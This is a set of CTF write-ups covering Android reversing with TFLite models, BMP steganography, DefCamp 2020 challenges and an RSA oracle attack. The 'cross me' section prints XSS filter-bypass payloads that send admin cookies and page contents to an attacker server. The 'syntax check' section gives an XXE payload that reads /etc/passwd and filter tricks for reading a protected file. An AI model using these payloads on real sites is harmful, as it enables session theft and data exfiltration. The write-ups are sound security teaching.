f = f[4+4:]
labels = []
for i in range(10000):
  labels.append((f[i]))

for letter in 'abcdefghijkl':
  interpreter = tflite.Interpreter(model_path='mnist-%s.tflite' % letter)
  interpreter.allocate_tensors()
  input_details = interpreter.get_input_details()
  output_details = interpreter.get_output_details()
  height = input_details[0]['shape'][1]
  width = input_details[0]['shape'][2]

  scores = [0] * 10

  for (img, label) in zip(imgs, labels):
      interpreter.set_tensor(input_details[0]['index'], img)
      interpreter.invoke()
      output_data = interpreter.get_tensor(output_details[0]['index'])
      results = np.squeeze(output_data)
      top_k = results.argsort()
      if top_k[1] == 1:
        scores[label] += 1

  print(letter, scores)
```

Here's the result:

```
a [0, 0, 0, 43, 0, 0, 0, 0, 0, 0]
b [0, 67, 0, 0, 0, 0, 0, 0, 0, 0]
c [0, 0, 0, 0, 52, 0, 0, 0, 0, 0]
d [0, 0, 0, 0, 0, 1, 41, 0, 0, 0]
e [0, 0, 1, 0, 0, 0, 0, 0, 40, 2]
f [0, 0, 0, 1, 0, 48, 0, 0, 0, 0]
g [0, 0, 0, 0, 52, 0, 0, 0, 0, 0]
h [41, 0, 0, 0, 1, 0, 1, 0, 0, 0]
i [0, 0, 0, 1, 0, 48, 0, 0, 0, 0]
j [0, 0, 54, 0, 0, 0, 0, 0, 0, 0]
k [0, 0, 0, 0, 0, 1, 41, 0, 0, 0]
l [0, 0, 54, 0, 0, 0, 0, 0, 0, 0]
```

This gives us the pin `314685405262`!

All is left now is to find `password`. I spent a lot of time on this part because I didn't realize Bytecode Viewer had failed to decompile a few methods, which made me miss very important pieces that were used to construct this variable, because these were not exported when you asked the software to export all the classes.

Either way, here's where `this.password` is generated:

```java
SharedPreferences var2 = this.activity.getSharedPreferences("flag", 0);
byte var3 = 97;

char var8;
for(char var4 = (char)var3; var4 <= 'z'; var4 = var8) {
 String var5 = var2.getString(String.valueOf(var4), (String)null);
 if (var5 != null) {
    String var6 = this.password;
    this.password = var6 + var5;
 }

 var8 = (char)(var4 + 1);
}
```

We're looking for keys in the `flag` object, from 'a' to 'z'. If the key exists, we append the value associated with this key in `this.password` (which is initialized as an empty string).

So now we need to retrace our own steps and find all the places where the `flag` object was edited (not only `putString`, but also `delete`).

The issue is, there are often edits in which the context is a bit hard to tell, and that thus might not be relevant. For instance, this class from step 2:

```java
public final class b {
   public static final b a = new b();

   private final void a(Context var1) {
      if (!this.a(var1, "/data/local/tmp/frida-server")) {
         this.a(var1, "/data/local/tmp/re.frida.server");
      }

   }

   private final boolean a(@NotNull Context var1, String var2) {
      boolean var3 = (new File(var2)).exists();
      boolean var4 = var3;
      if (!var3) {
         label17: {
            try {
               new FileInputStream(var2);
            } catch (Exception var5) {
               var4 = var3;
               break label17;
            }

            var4 = true;
         }
      }

      if (var4) {
         var1.getSharedPreferences("flag", 0).edit().putString("o", "i").apply();
      }

      return false;
   }

   private final void b(@NotNull Context var1) {
      ThreadsKt.thread$default(false, false, (ClassLoader)null, (String)null, 0, new a(var1), 31, (Object)null);
   }

   public final void c(@NotNull Context var1) {
      this.a(var1);
      this.b(var1);
      var1.getSharedPreferences("flag", 0).edit().remove("w").apply();
   }
}
```

A safe method to find the good key was therefore to list all the $$n$$ potential (key, value) pairs of `flag`, and bruteforce the $$2^n$$ possible keys.

Last thing I'll show you is the most important keys in `flag`, that are set in `step2/a/a/a/c$a.class` and `step1/a/a/a/c$b.class` (Smali only):

```
L2 {
    aload4
    ldc "Congrats, almost there" (java.lang.String)
    iconst_0
    invokestatic android/widget/Toast.makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;
    invokevirtual android/widget/Toast.show()V
    aload0 // reference to self
    getfield a/a/a/c$a.b:android.app.Activity
    ldc "flag" (java.lang.String)
    iconst_0
    invokevirtual android/app/Activity.getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences;
    invokeinterface android/content/SharedPreferences.edit()Landroid/content/SharedPreferences$Editor;
    ldc "q" (java.lang.String)
    aload1
    invokeinterface android/content/SharedPreferences$Editor.putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
    invokeinterface android/content/SharedPreferences$Editor.apply()V
    ldc "FLAG 2" (java.lang.String)
    aload1
    invokestatic android/util/Log.i(Ljava/lang/String;Ljava/lang/String;)I
    pop
    aload0 // reference to self
    getfield a/a/a/c$a.a:android.app.Activity
    astore6
 }
```

We can guess putString in called with key "q", but the value argument is pushed by `aload1`. If we take a look a bit higher up in the code, we can see where it is stored:

```
invokestatic a/a/a/c.a(La/a/a/c;)Ljavax/crypto/Cipher;
ldc "5sxJURBMWadPV+Qfj2g/WFVWcaLbXoUxyXeiIvpa4pu1SjSj0nqneJeN0tNkKbJx" (java.lang.String)
iconst_0
invokestatic android/util/Base64.decode(Ljava/lang/String;I)[B
invokevirtual javax/crypto/Cipher.doFinal([B)[B
astore5
new java/lang/String
astore1
```

The decrypted value of this string was the second flag `ECW_AIU/yMZg3c7(NqGyqu8Iv3j8Oszx+1<>i'7&o(9g`: maybe this is actually the value for "q".

Same thing in `step1/a/a/a/c$b.class` with the key "j" that is set to the first flag, which was `ECW_oe8%jXffkWul&#!V@tqB(:V%WP?JUKm@I(2KqIfv`.

Finally, we already know the `a` key was set to the string `LuKXSGlN5(%:Vk=alEbl9khIEPBo=mXu;hR7Ez7E`.

Now it turns out concatening these three values is enough to work, and that the "letter" values in `flag` were only bait!

```python
C = "fEd6buSL5HmuH0pTdCJG4ZVCCn/bMC8bun44MKlw6mz2UrtH9Zhz3gMax4X8eGq5"
C = b64decode(C)

pin = '314685405262'

all = [
  'LuKXSGlN5(%:Vk=alEbl9khIEPBo=mXu;hR7Ez7E',
  'ECW_oe8%jXffkWul&#!V@tqB(:V%WP?JUKm@I(2KqIfv',
  'ECW_AIU/yMZg3c7(NqGyqu8Iv3j8Oszx+1<>i\'7&o(9g',
]

print(decrypt(C, (''.join(all) + pin).encode()))
```

Result:

```
b'ECW_50l8!3*ojKrfFHYCiLON+iDd5-0(4!iG04Y6U32L\x04\x04\x04\x04'
```

### Conclusion

I do have to admit static analysis was a pain in the ass at some times, but it still allowed me to go pretty fast: it took me an hour to solve the first part and 20 minutes for the second part. If I had realized sooner that I was missing some crucial code in my decompilation export, I would have solved the last part in roughly an hour too.

It's a tradeoff between how much time it'll take you to setup a working debug environment (I tried but I failed, I couldn't get past the first "trick", I even tried to patch the apk but then I got a blank screen...) and how confident you feel about going full blind, as it takes a lot of rigor and intuition.

All in all, a solid challenge with a fun Machine Learning twist at the end!


# Windtalkers

## Stega / 200 points / 9 solves

### Description

*We have recovered this image from the enemy, find out what is in it!*

[Jellyfish.bmp](https://github.com/face0xff/ctf/tree/bb723312984aa28433a94fe3af88659c45a0b559/2020/ECW_Quals_2020/Windtalkers/Jellyfish.bmp)

![Jellyfish.bmp](/files/-MKXDxwQ_32W3jCpUc6R)

### Solution

**Windtalkers** was a classic steganography challenge, but with an extra step that was not that easy to figure out.

If you are not familiar with the **BMP** file format, it is relatively simple. Here are the main things you need to know about BMP:

* The file header is (usually) 0x36 = 54 bytes long, starts with "BM".
* Following the header is an uncompressed bitmap, which consists of the raw list of pixels, starting from the last row (bottom -> up) and from left to right.
* A pixel is coded by a certain number of bits specified in the header (usually 24 or 32) in *little-endian* (so for 24 bits it goes like BGRBGRBGR...).
* The size of a row in bytes should always be a multiple of 4; if it's not, padding is added.
* There are two main BMP steganography techniques:
  * LSB, hiding data in the least significant bits of the colors, which works the same way as it does in the PNG file format since the images do not suffer information loss. Since the bitmap is raw and uncompressed, it is also possible to read and hide data very intuitively by directly working on the file each byte at a time (skipping the header of course). This latter technique means the data is hidden in a specific order though (last row first and BGR), so when you look for LSB in a BMP, it is important to keep this in mind.
  * Padding. As stated earlier, rows are padded with null bytes if they're not multiples of 4, but you can totally pad with arbitrary data. For instance, if you have a 24-bits 250px × 250px image, the size of a row in the file is 250 × 3 = 750 bytes so you would have to pad each row with 2 bytes to get a multiple of 4, which gives 2 × 250 = 500 bytes of data that you can hide in total inside padding.

Not all of this knowledge is useful for this challenge but I thought it'd be interesting to broaden a little bit. Now onto figuring out how to start on the actual task.

A good initial idea is to fire up **Stegsolve**, visually check the bit planes, read header information and try some LSB extraction. File format analysis does not yield anything unusual.

![Red plane LSB](/files/-MKXDxwRgyvnABj5xQeq)

The image is quite naturally noisy so it's hard to tell if there's data hidden in the LSB. Maybe there's some in the first few or last lines, but generic data extraction does not yield anything really interesting either.

At this point, before it gets *guessy*, there's a last classic thing that is mandatory to look for in this kind of challenge, and that is **retrieving the original image**.

Indeed, if you think from the creator's perspective, they would probably have to have picked a picture somewhere on the Internet, and then hide their data inside it. Retrieving the original image allows you to compare them and have a better overview of where data might actually be hidden. For this to work though, finding the exact same image is really important: any little filter, noise, compression or resizing of the image will certainly make any comparison process irrelevant.

Luckily, reverse search engines such as TinEye are able to find the same image with the exact same size, in a lossless format (PNG). Stegsolve has an **image combiner** feature that we can use:

![XOR between task image and original image](/files/-MKXDxwSLmz-9GzOd1MI)

The result of XORing the two images is all black, which means they are extremely similar. Now, we're going to export this XOR, load it back up into Stegsolve and check out the lowest bit planes. We can see everything is fully black, except for the lowest **blue plane**:

![Blue plane LSB in the XOR](/files/-MKXDxwTQqRVBJQiKiT9)

There are two rows of pixels at the top which contain differences!

Let's open Jellyfish.bmp with Stegsolve again and try to extract this blue plane. The full message is 1168 bits (over this length, the images are the exact same). Here's the beginning of the hex dump of the extracted data:

```
0c08204302381040 e207103102381040  .. C.8.@ ...1.8.@
c2041030811c08e0 41023818408e07d0  ...0.... A.8.@...
30813c0c20430308 13c08e071030811c  0.<. C.. .....0..
08e043023818408e 04102381c408e05f  ..C.8.@. ..#...._
023810c0c2041030 817c08e043023810  .8.....0 .|..C.8.
408e04f023810c08 e05f023810c0c204  @...#... ._.8....
1023818408e07d03 0813c08e07103081  .#....}. ......0.
0c08e06102381840 8e047023810c08e0  ...a.8.@ ..p#....
79030811c08e04f0 23810c08e0430388  y....... #....C..
19036fd74c8a53f1 865ab567f3877272  ..o.L.S. .Z.g..rr
[...]
```

Yeah... this is strange. Not readable, but you can still feel like it hides something (or at least I do... just CTF player quirks). It has a lot of reoccuring characters such as `C`, `@` or `#`. Shannon entropy is 4.7, which is probably not bad if we're looking for something that makes sense.

At this point I spent hours trying to make sense of this but had no luck. I looked into caesar, xor, morse, 7-bit and many other cryptos/conversions/encodings/... Extracting data from the XORed image instead of just looking at the values of the changes... Reading in reverse or just from right to left... Visualizing the binary blob by reorganizing it in rectangle shapes... (who knows, maybe you can make a QR code pop out of nowhere).

In the span of a week, no one managed to solve Windtalkers. This pushed the organizers into giving a hint, which was the following:

```
.-- . .. .-. -.. / .-.. ... -...
```

This is **morse code** for "WEIRD LSB". Okay, thanks, nothing new here. But of course, what is crucial in this hint is the fact that it is morse code. *But wait... I've already been trying to read morse for hours from this cursed binary blob!* Well, gotta try harder man.

At some point, I was playing again with trying to form images with the binary blob, replacing zeroes with spaces, when I stumbled upon this kind of stuff:

```
    11      1     1      1    11      1   111      1     1      1
11   1      111   1      11   1      1   111      1     1      11
    1      1     1      11    1      1   111      1   111      1 
    1      1   111      11    1      1   111      11111 1      11
    1      1  1111      11    1      1    11      11    1      1 
 1111      1   111      111   1      11    1      1   111      1 
  111      1    11      1   111      11    1      1   111      1 
    1      1   111      111   1      1   111      1 11111      1 
  111      1    11      11    1      1     1      11    1      1 
11111      1   111      1    11      1   111      1     1      1 
  111      1  1111      1   111      1    11      1   111      1 
11111      1   111      1    11      11    1      1     1      1 
  111      11    1      1   111      11111 1      11    1      1 
 1111      1   111      111   1      11    1      1    11      1 
  111      11    1      1   111      11    1      1   111      1 
  111      1   111      1    11      1   111      1111  1      11
    1      1   111      1   111      1  1111      1   111      1 
   11      1   111      1    11      111   1      11  1      11
```

Truth is I had already seen these several times during my research and I've always thought it looks *way* too organized and full of patterns, but only at this point did I decide to genuinely look further into it. I think it was because these patterns reminded me of the way digits look like in morse (`0123456789` = `----- .---- ..--- ...-- ....- ..... -.... --... ---.. ----.`)

So this is when I tried splitting the binary blob on "10000001", which resulted in this list:

```
['00001', '00000', '00001', '00011', '00000', '11000', '11000', '1000', '00011', '00000', '10000', '00000', '10000', '00011', '00011', '00000', '00011', '10000', '00011', '11110', '10000', '00111', '10000', '00001', '10000', '00111', '00011', '11000', '10000', '00011', '00011', '00001', '00011', '10000', '00011', '00000', '00011', '11000', '00011', '01111', '00011', '00001', '10000', '00000', '10000', '01111', '00011', '00001', '00011', '00000', '00011', '00111', '00011', '00001', '00011', '01111', '00011', '00001', '10000', '00000', '00011', '10000', '00011', '11110', '10000', '00111', '00011', '11000', '10000', '00001', '00011', '10000', '00011', '10000', '00011', '00011', '00011', '00001', '00011', '11100', '10000', '00011', '00011', '00111', '00011', '00001', '00011', '00001', '11000', '100']
```

Somehow this looks really good. Now let's say `0` is `.`, `1` is `-`, and let the magic unfold:

![Morse code decodes to... \*drum rolls\*](/files/-MKXDxwUeJQkKd1RRGrc)

Okay, so encoding the flag in hex before encoding it in morse was a dick move because I spent a lot of time trying to encode `ECW{` in morse and compare it to the binary blob, hoping to see interesting correlations. But I have to admit encoding the flag in hex made it so that most of the hex digits are 0-9, which is what gave the binary blob this shape and these remarkable patterns that eventually helped me solve the challenge. Enjoy:

![Holy shit man](/files/-MKXDxwVI-4R_fHKCakZ)


# DefCamp CTF 2020

December 5 - December 7

Participated with 0x90r00t, which got first place.


# dumb-discord, spy agency, cross me, syntax check

I played the DefCamp CTF 2020 with 0x90r00t as an invited guest and we got first place. (2048€ cash prize + an additional 137€ out of pure luck thanks to a raffle they organized LOL)

I wrote these writeups for a few challenges I solved because they were required to be able to claim prizes, and I thought I might as well publish them here even though they're not very well-written and explained.

## dumb-discord (misc)

In this challenge, we were given a `.pyc` file of a Discord Bot, i.e. a Python script compiled into Python bytecode.

Use uncompyle to get the source code. Some strings were obfuscated with a simple XOR; here's the deofbuscated script:

```python
from discord.ext import commands
import discord, json
from discord.utils import get

def obfuscate(byt):
    mask = b'ctf{tryharderdontstring}'
    lmask = len(mask)
    return bytes(c ^ mask[(i % lmask)] for i, c in enumerate(byt))

def test(s):
    data = obfuscate(s.encode())
    return data

intents = discord.Intents.default()
intents.members = True
cfg = open('config.json', 'r')
tmpconfig = cfg.read()
cfg.close()
config = json.loads(tmpconfig)
token = config['token']
client = commands.Bot(command_prefix='/')

@client.event
async def on_ready():
    print('Connected to bot: {}'.format(client.user.name))
    print('Bot ID: {}'.format(client.user.id))

@client.command()
async def getflag(ctx):
    await ctx.send('pongg')

@client.event
async def on_message(message):
    await client.process_commands(message)
    if '!ping' in message.content.lower():
        await message.channel.send("pongg")
    if "/getflag" in message.content.lower():
        if message.author.id == 783473293554352141:
            role = discord.utils.get((message.author.guild.roles), name=("dctf2020.cyberedu.ro"))
            member = discord.utils.get((message.author.guild.members), id=(message.author.id))
            if role in member.roles:
                await message.channel.send(test(config['flag']))
    if '/help' in message.content.lower():
        await message.channel.send("Try harder!")
    if '/s基ay' in message.content.lower():
        await message.channel.send(message.content.replace('/s基ay', '').replace("/getflag", ''))


client.run(token)
```

We see that we can get the flag if the account with userid 783473293554352141 has the role `dctf2020.cyberedu.ro` and has `/getflag` in their message.

Let's see if we can invite this user by using a discord bot invite link :

<https://discord.com/oauth2/authorize?client_id=783473293554352141&scope=bot>

![](/files/-MOMF12z6vX0cI5vl2iM)

Great, it works! Let's invite it to our own server, create a `dctf2020.cyberedu.ro` role and add it to the bot. Now we need to make it send `/getflag` on a public channel so that it receives its own message and prints the flag. The interesting part of the script is:

```python
if '/s基ay' in message.content.lower():
        await message.channel.send(message.content.replace('/s基ay', '').replace("/getflag", ''))
```

Therefore, we only have to send a command like `/s基ay /get/getflagflag`:

![](/files/-MOMF130-S6GDDld9pa8)

Now we only have to deobfuscate the string (xor) and get the flag!

`ctf{1b8fa7f33da67dfeb1d5f79850dcf13630b5563e98566bf7b76281d409d728c6}`

## spy agency (forensics)

In this challenge, we were given a Windows memory dump that we could deal with using volatility.

```
$ volatility -f spyagency3.bin --profile=Win7SP1x64 pstree
Volatility Foundation Volatility Framework 2.6
Name                                                  Pid   PPid   Thds   Hnds Time
-------------------------------------------------- ------ ------ ------ ------ ----
 0xfffffa8002227060:wininit.exe                       368    312      3     74 2020-12-04 23:43:12 UTC+0000
. 0xfffffa8002652b30:lsass.exe                        476    368      7    543 2020-12-04 23:43:12 UTC+0000
. 0xfffffa800244c910:services.exe                     464    368     10    190 2020-12-04 23:43:12 UTC+0000
.. 0xfffffa800278fb30:svchost.exe                     704    464     21    526 2020-12-04 23:43:13 UTC+0000
.. 0xfffffa8002494890:svchost.exe                     652    464      9    257 2020-12-04 23:43:13 UTC+0000
.. 0xfffffa8002679800:svchost.exe                     280    464     15    357 2020-12-04 23:43:13 UTC+0000
.. 0xfffffa8002cc4060:svchost.exe                     772    464     13    318 2020-12-04 23:45:15 UTC+0000
.. 0xfffffa80029bc890:svchost.exe                    1064    464     18    296 2020-12-04 23:43:13 UTC+0000
.. 0xfffffa80027d1b30:svchost.exe                     812    464     23    452 2020-12-04 23:43:13 UTC+0000
... 0xfffffa8002a79360:dwm.exe                       1996    812      3     69 2020-12-04 23:45:14 UTC+0000
.. 0xfffffa8002a72b30:sppsvc.exe                     1584    464      4    143 2020-12-04 23:43:14 UTC+0000
.. 0xfffffa800283bb30:svchost.exe                     972    464     16    436 2020-12-04 23:43:13 UTC+0000
.. 0xfffffa8002bf7280:svchost.exe                    1092    464     18    276 2020-12-04 23:45:14 UTC+0000
.. 0xfffffa8000e03b30:SearchIndexer.                 1864    464     11    620 2020-12-04 23:45:16 UTC+0000
... 0xfffffa8000e974e0:SearchFilterHo                2064   1864      5     96 2020-12-04 23:57:11 UTC+0000
... 0xfffffa8002be5340:SearchProtocol                2072   1864      8    279 2020-12-04 23:57:11 UTC+0000
.. 0xfffffa8002c70350:wmpnetwk.exe                   1088    464     13    402 2020-12-04 23:45:15 UTC+0000
.. 0xfffffa800272b810:svchost.exe                     588    464     10    347 2020-12-04 23:43:12 UTC+0000
.. 0xfffffa8002808060:svchost.exe                     860    464     30    926 2020-12-04 23:43:13 UTC+0000
... 0xfffffa8000dfb060:taskeng.exe                   2928    860      5     81 2020-12-04 23:55:15 UTC+0000
.. 0xfffffa8002a1f8a0:taskhost.exe                   1136    464      8    144 2020-12-04 23:43:13 UTC+0000
.. 0xfffffa8000ef3820:svchost.exe                    2088    464      4    167 2020-12-04 23:45:52 UTC+0000
.. 0xfffffa800286eb30:spoolsv.exe                    1016    464     12    274 2020-12-04 23:43:13 UTC+0000
. 0xfffffa8002663b30:lsm.exe                          484    368     10    140 2020-12-04 23:43:12 UTC+0000
 0xfffffa8001d34060:csrss.exe                         320    312      8    375 2020-12-04 23:43:12 UTC+0000
 0xfffffa8000c9d040:System                              4      0     82    493 2020-12-04 23:43:09 UTC+0000
. 0xfffffa8001d61b30:smss.exe                         248      4      2     29 2020-12-04 23:43:09 UTC+0000
 0xfffffa8002541530:explorer.exe                      648   1896     35    892 2020-12-04 23:45:14 UTC+0000
 0xfffffa8002c5db30:GoogleCrashHan                   1940   1900      5     90 2020-12-04 23:43:15 UTC+0000
 0xfffffa8002c58b30:GoogleCrashHan                   1932   1900      5     97 2020-12-04 23:43:15 UTC+0000
 0xfffffa80025ae7d0:winlogon.exe                      420    360      3    111 2020-12-04 23:43:12 UTC+0000
 0xfffffa800238d060:csrss.exe                         380    360      7    155 2020-12-04 23:43:12 UTC+0000
```

The challenge description says we have to look for coordinates. Let's check out the files (`volatility -f spyagency3.bin --profile=Win7SP1x64 filescan`). We can see interesting occurences, like:

```
0x000000003fefb8c0     16      0 R--r--
\Device\HarddiskVolume2\Users\volf\Desktop\app-release.apk.zip
```

Let's try to extract this apk:

```
mkdir files
volatility -f spyagency3.bin --profile=Win7SP1x64 dumpfiles -Q 0x000000003fefb8c0 -D files/
```

Unzipping it reveals an interesting file: `res/drawable/coordinates_can_be_found_here.jpg`.

![](/files/-MOMF132Zeh2xu6M1mlg)

The flag is supposed to be `ctf{sha256(location of the coordinates)}`. We try a few answers as for the location, without success. Eventually, we look inside the file and discover what we were looking for:

```
$ strings coordinates_can_be_found_here.jpg | head -n 5 
JFIF
4-coordinates=44.44672703736637, 26.098652847616506
2"3*7%"0
K-1=
UUV"
```

The coordinates lead to a Pizza Hut in Romania. Flag is ctf{sha256(pizzahut)} !

![](/files/-MOMF1347RTzacw6z0d4)

## cross me (web)

We were given a link to a web application, where can either login or sign up.

Register an account. There's a feature on the website that allows us to post messages, with a title and a description.

Let's try a basic XSS:

![](/files/-MOMF138T6uh2Gf_3mx3)

Okay, so we have to satisfy a certain regexp in our payload. But as soon as we manage to pass through it, another one comes up. In total, there are four regexps that need to be bypassed:

```
/<[^\w<>]*[ \/]\w*/i 
/<(|\/|[^\/>][^>]+|\/[^>][^>]+)>/i
/["'\(\)\.:\-\+> `]/i
/(\b)(on\S{5,8})(\s*)=|(<\s*)(\/*)script/im
```

After some groping around and reflexion, we manage to find a payload which passes all the filters and does trigger an alert:

```
<svg/onload=alert&lpar;1&rpar;//
```

We then manage to craft a payload to retrieve the admin's cookies:

```
<svg/onload=document&period;location=&DiacriticalGrave;//ourserver&period;com/?&DiacriticalGrave;&plus;document&period;cookie;//
```

We are greeted with a PHPSESSID but... no flag on the admin page. We also try to exfiltrate the local storage or check out headers, but still nothing.

This must mean the admin can see things only they can see *locally*. Let's try to craft a payload which allows us to exfiltrate the content of a page of the site, as seen by the admin:

```
<svg/onload=var&nbsp;x&equals;new&nbsp;XMLHttpRequest&lpar;&rpar;;x&period;open&lpar;&apos;GET&apos;,&apos;http&colon;//127&period;0&period;0&period;1&colon;1234/index&period;php?page=admin&apos;,true&rpar;;x&period;onload=function&lpar;&rpar;{document&period;location=&apos;//ourserver&period;com/?a=&apos;&plus;escape&lpar;x&period;responseText&rpar;};x&period;send&lpar;&rpar;;//
```

Good, we are able to retrieve the contents of the admin page, but... still no flag. It took us longer than expected, but we eventually understood we had to exfiltrate the blog post that had the id 1:

```
<svg/onload=var&nbsp;x&equals;new&nbsp;XMLHttpRequest&lpar;&rpar;;x&period;open&lpar;&apos;GET&apos;,&apos;http&colon;//127&period;0&period;0&period;1&colon;1234/index&period;php?page=post&id&equals;1&apos;,true&rpar;;x&period;onload=function&lpar;&rpar;{document&period;location=&apos;//truc&period;com/?a=&apos;&plus;escape&lpar;x&period;responseText&rpar;};x&period;send&lpar;&rpar;;//
```

...which contains the flag! `CTF{3B3E64A81963B5E3FAC7DE0CE63966F03559DAF4B61753AADBFBA76855DB5E5A}`

## syntax check (web)

In this challenge, we were given a web application and we were told `The flag is in /var/www/html/flag`.

The website only consists of a "Parse" button, which redirects to `/parse?<foo>hi%21<%2Ffoo>=&_token=40rzOC3O8ZiBDeNKTGIcgRtxT5uBgMJb0jpBMdq8`, and which only outputs `"Empty string supplied as input."`. Checking out the source of the page, we understand this is a Laravel error dump.

This is a weird way to pass XML content, though. Let's try sending it in the HTTP body rather than in the URL:

![](/files/-MOMF13CQFhPLWys1eLR)

Okay, so we don't exactly know what's going on but our XML is parsed and "rendered". We immediately think of XXE injection:

```
<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]>
<foo>&test;</foo>
```

This payload does leak `/etc/passwd`!

But once we want to exfiltrate the file of interest:

![](/files/-MOMF13K2mYmh9OBSuET)

Some kind of filter prevents us from getting its contents...

Let's try a classic PHP filter and some path obfuscation:

```
php://filter/read=convert.base64-encode/resource=/var/./www/../www/html/./flag
```

Still won't work: this time around we get an error saying something like "Are you trying to exfiltrate data using base64?".

After some trial and error, we manage to find a good filter:

```
php://filter/read=convert.iconv.utf-16le.utf-8/resource=/var/www/html/flag
```

This outputs the contents of the file but with some utf-16 conversion, which makes it look like random Chinese characters.

```
瑣筦㈰摢㠴㈶㌷㈰㌶㈶㡥㙡㘹挱㍤〳㠳㈱㜰挳〵慦㔷戹㈴戰攱愷ㄱ㉡㍣扡.〳
```

We can now retrieve the true contents of the file by encoding what we get back into utf-16, for instance using Cyberchef:

```
ctf{02bd486273026362e8a6961cd3303812073c50fa759b420b1e7a11a2c3ab0130}
```

Enjoy :)


# ångstromCTF 2020

March 13 - March 18

Participated with SHRECS.


# RSA-OTP

## Crypto, 210 points

### Description

*RSA is kinda bad but I strengthened it with the unbreakable one time pad!*

*nc crypto.2020.chall.actf.co 20600*

*Author: lamchcl*

chall.py:

```python
from Crypto.Util.number import bytes_to_long
from Crypto.Random.random import getrandbits # cryptographically secure random get pranked
from Crypto.PublicKey import RSA
from secret import d, flag
# 1024-bit rsa is unbreakable good luck
n = 136018504103450744973226909842302068548152091075992057924542109508619184755376768234431340139221594830546350990111376831021784447802637892581966979028826938086172778174904402131356050027973054268478615792292786398076726225353285978936466029682788745325588134172850614459269636474769858467022326624710771957129
e = 0x10001
key = RSA.construct((n,e,d))

f = bytes_to_long(bytes(flag,'utf-8'))
print("Encrypted flag:")
print(key.encrypt(f,0)[0])

def otp(m):
    # perfect secrecy ahahahaha
    out = ""
    for i in bin(m)[2:]:
        out+=str(int(i)^getrandbits(1))
    return out

while 1:
    try:
        i = int(input("Enter message to sign: "))
        assert(0 < i < n)
        print("signed message (encrypted with unbreakable otp):")
        print(otp(key.decrypt(i)))
    except:
        print("bad input, exiting")
        break
```

### Solution

First, I would like to point out that I am not sure whether I have the correct solution for this challenge because I could only retrieve 58 characters of the flag out of the 70.

I am going to explain my method anyway because I thought it was interesting.

#### First contact with the oracle

In this challenge, we are given a public RSA key and an encrypted flag. An oracle allows us to decrypt integers (between 1 and n-1), but we are only sent back a XOR of the decrypted message with a random stream of bits. In other words, no way to find the plaintext back.

So what kind of information does the decryption give us at all? Well, the only thing we know from what the server sends back is the **length** of the decrypted message (in bits).

For instance, let's try feeding the server with the encrypted flag itself:

```
$ nc crypto.2020.chall.actf.co 20600
Encrypted flag:
17482644844951175640843255713372869422739097498066773957636359990466096121278949693816080016671592558403643716793132479255285512907247513385850323834210899918531077167485767118313722022095603863840851451191536627814100144146010392752308431038754246815068245448456643024387011488032896209253644172833489422733
Enter message to sign: 17482644844951175640843255713372869422739097498066773957636359990466096121278949693816080016671592558403643716793132479255285512907247513385850323834210899918531077167485767118313722022095603863840851451191536627814100144146010392752308431038754246815068245448456643024387011488032896209253644172833489422733
signed message (encrypted with unbreakable otp):
0010110100011011100010010110111000100011000010111011110100001100010011010001100111001101010100101000101110011010100101101001001010100110011000101111000111010101010111010010001001110111011010010100101111011001111000111111101011110101011111100000110001000111100010100011100110101110100001110110001100010001110010001101111111001110011110000010000001010111010011010101101101111010100110011000101001001101111111010101001111010011011001101100111101000010100010001100011000000001111001001110011001101101011001100000100000001101100011111100100001101100010011111010101
```

This gives us the length of the plaintext, which is **559 bits**. This is bad, because n is 1024 bits :)

#### Exploiting the lack of padding

Okay, so we know we should play with binary lengths to try and get information about the flag.

Let's move on directly to the main idea with a simple example.

Let's choose an integer m, for instance $$m=43$$, and look at $$2m = 86$$ and $$3m = 129$$.

$$2m$$ has a length of 2 digits (in base 10), and $$3m$$ has a length of 3. From this, we can deduce $$m \lt 50$$ (otherwise $$2m \geq 100$$) and also that $$m \geq 34$$ (otherwise $$3m \lt 100$$).

Therefore, looking at lengths of multiples of a number gives us a **bounding** of this number. The bounds can be increasingly accurate with bigger factors.

We can apply the same principle to the flag by looking at binary lengths.

#### Running the attack

Let $$m$$ be the plaintext flag and $$c$$ the encrypted flag (which we know about).

Let's choose a factor $$k$$ and compute $$k' = k^e\mod{n}$$, which is the encrypted $$k$$. We can now compute $$ck' \equiv m^e k^e \equiv {(mk)}^e \mod{n}$$ and feed it to the oracle.

What the oracle will answer is the length of $$mk$$... as long as $$mk$$ is not too big (it should not be bigger than $$n$$). Luckily, we know about the length of $$m$$ (559 bits) so we know that we can go up to around 465 bits for $$k$$.

Let $$u$$ be that length. We now know that $$2^{u - 1} \leq km \leq 2^u-1$$, which means $$2^{u - 1}/k \leq m \leq (2^u-1)/k$$.

Testing with some examples, we find out that the factors which give the best bounds are the ones around when $$u$$ changes value. So what we are going to do is a dichotomic search to find when $$u$$ changes value from 1023 bits to 1024 bits. $$k = 2^{464}$$ and $$k = \frac{1}{2}(2^{464} + 2^{465})$$ yield $$u = 1023$$ and $$u = 1024$$ respectively, so we can start with these as lower and upper bounds for a dichotomic search.

All there remains to do now is to implement the attack. After a few minutes of launching it...

```
$ python rsa.py
k >= 59542628294296116473800606342185331454250300267505095498259677116877970482249557878881570874471511290737665769985325296315154565416112619520
k <= 71451153953155339768560727610622397745100360321006114597911612540253564578699469454657885049365813548885198923982390355578185478499335143424
b'3333333333333333333333333333333333333333333333333333333333333333333333'
b'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'

k >= 59542628294296116473800606342185331454250300267505095498259677116877970482249557878881570874471511290737665769985325296315154565416112619520
k <= 65496891123725728121180666976403864599675330294255605048085644828565767530474513666769727961918662419811432346983857825946670021957723881472
b']\x17E\xd1t]\x17E\xd1t]\x17E\xd1t]\x17E\xd1t]\x17E\xd1t]\x17E\xd1t]\x17E\xd1t]\x17E\xd1t]\x17E\xd1t]\x17E\xd1t]\x17E\xd1t]\x17E\xd1t]\x17E\xd1t]\x17E\xd1t'
b'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'

k >= 62519759709010922297490636659294598026962815280880350273172660972721869006362035772825649418195086855274549058484591561130912293686918250496
k <= 65496891123725728121180666976403864599675330294255605048085644828565767530474513666769727961918662419811432346983857825946670021957723881472
